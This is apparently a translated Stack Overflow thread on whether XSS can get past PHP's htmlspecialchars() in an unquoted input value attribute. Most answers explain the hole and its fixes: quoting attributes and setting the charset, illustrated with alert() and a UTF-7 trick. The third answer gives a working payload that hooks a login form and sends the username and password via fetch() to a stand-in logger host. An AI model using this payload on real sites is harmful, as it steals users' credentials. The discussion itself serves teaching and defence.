XSS攻击绕过值属性中的htmlspecialchars()函数

时间:2010-05-24 02:35:58

标签: php xss security

假设我们有这种形式,用户注入恶意代码的可能部分如下所示

...
<input type=text name=username value=
       <?php echo htmlspecialchars($_POST['username']); ?>>
...

我们不能简单地添加标签或javascript:alert();调用,因为值将被解释为字符串,而htmlspecialchars会过滤掉&lt;,&gt;,',“,所以我们无法用引号关闭该值。

我们可以使用String.fromCode(.....)来绕过引号,但我仍然无法弹出一个简单的警告框。

有什么想法吗?

5 个答案:

答案 0 :(得分:16)

此外,重要的是要提到允许人们将HTML或JavaScript注入您的页面(而不是您的数据源)本身不会带来固有的安全风险。已经存在允许您修改网页上的DOM和脚本的浏览器扩展,但由于它只是客户端,因此他们是唯一知道的。

当XSS成为问题时,人们a)使用它来绕过客户端验证或输入过滤,或b)当人们使用它来操纵输入字段时(例如,更改ACL中的OPTION标签的值以授予他们不应该拥有的权限)。防止这些攻击的唯一方法是在服务器端清理和验证输入,而不是客户端验证,或者除了客户端验证之外。

要从输入中清除HTML,除非您想要允许某些标记,否则htmlspecialchars是完全足够的,在这种情况下您可以使用像HTMLPurifier这样的库。如果您将用户输入放在HREF,ONCLICK或允许编写脚本的任何属性中,那么您只是在寻找麻烦。

编辑:看看你的代码,看起来你没有引用你的属性!那太傻了。如果有人将其用户名设为:

john onclick="alert('hacking your megabits!1')"

然后您的脚本将解析为:

<input type=text name=username value=john onclick="alert('hacking your megabits!1')">

始终在属性周围使用引号。即使他们不是用户输入的,也是一个很好的习惯。

<input type="text" name="username" value="<?php echo htmlspecialchars($_POST['username']); ?>">

答案 1 :(得分:10)

有一种方法。您没有传递htmlspecialchars()第三个编码参数或正确检查编码,因此:

$source = '<script>alert("xss")</script>';
$source = mb_convert_encoding($source, 'UTF-7');
$source = htmlspecialchars($source); //defaults to ISO-8859-1
header('Content-Type: text/html;charset=UTF-7');
echo '<html><head>' . $source . '</head></html>';

只有在你可以a)设置页面输出UTF-7或b)欺骗页面这样做时才有效(例如页面上的iframe没有明确的字符集集)。解决方案是确保所有输入都具有正确的编码,并且在htmlspecialchars()上正确设置了预期的编码。

它是如何工作的?在UTF-7中,&lt;&gt;“字符具有与UTF-8 / ISO / ASCII不同的代码点,因此除非将输出转换为UTF-8以进行保证,否则它们不会被转义(参见iconv扩展名)。

答案 2 :(得分:1)

value是普通的HTML属性,与Javascript无关 因此,String.fromCharCode被解释为文字值,并且不会被执行。

为了注入脚本,首先需要强制解析器关闭属性,如果没有>'"则很难做到。

您忘记在属性值周围加上引号,因此您只需要一个空格。

即使你引用了价值,它仍然可能是脆弱的;见this page

答案 3 :(得分:0)

与Daniel的回答有点类似,但首先设置一个虚拟值,然后添加空格以放入由value=直接通过技巧运行的脚本中,从而打破autofocus,设置输入字段为空,然后添加一个提交函数,该函数在提交表单时运行,将用户名和密码泄漏到我选择的url,从字符串原型创建不带引号的字符串(因为会清除引号):

<body>

<script type="text/javascript">

function redirectPost(url, data) {
var form = document.createElement('form');
document.body.appendChild(form);
form.method = 'post';
form.action = url;
for (var name in data) {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = data[name];
form.appendChild(input);
}
form.submit();
}

redirectPost('http://f00b4r/b4z/', { login_username: 'a onfocus=document.loginform.login_username.value=null;document.forms[0].onsubmit=function(){fetch(String(/http:/).substring(1).slice(0,-1)+String.fromCharCode(47)+String.fromCharCode(47)+String(/hack.example.com/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/logger/).substring(1).slice(0,-1)+String.fromCharCode(47)+String(/log.php?to=haxxx%40example.com%26payload=/).substring(1).slice(0,-1)+document.loginform.login_username.value+String.fromCharCode(44)+document.loginform.login_password.value+String(/%26send_submit=Send+Email/).substring(1).slice(0,-1)).then(null).then(null)}; autofocus= '});
</script>

答案 4 :(得分:-1)

您无法利用包含该函数的输入字段,但是可以通过以下方法利用其附近的任何btn或段落,标题或文本: 就像您可以在btn上添加它-> onclick = alert('Hello')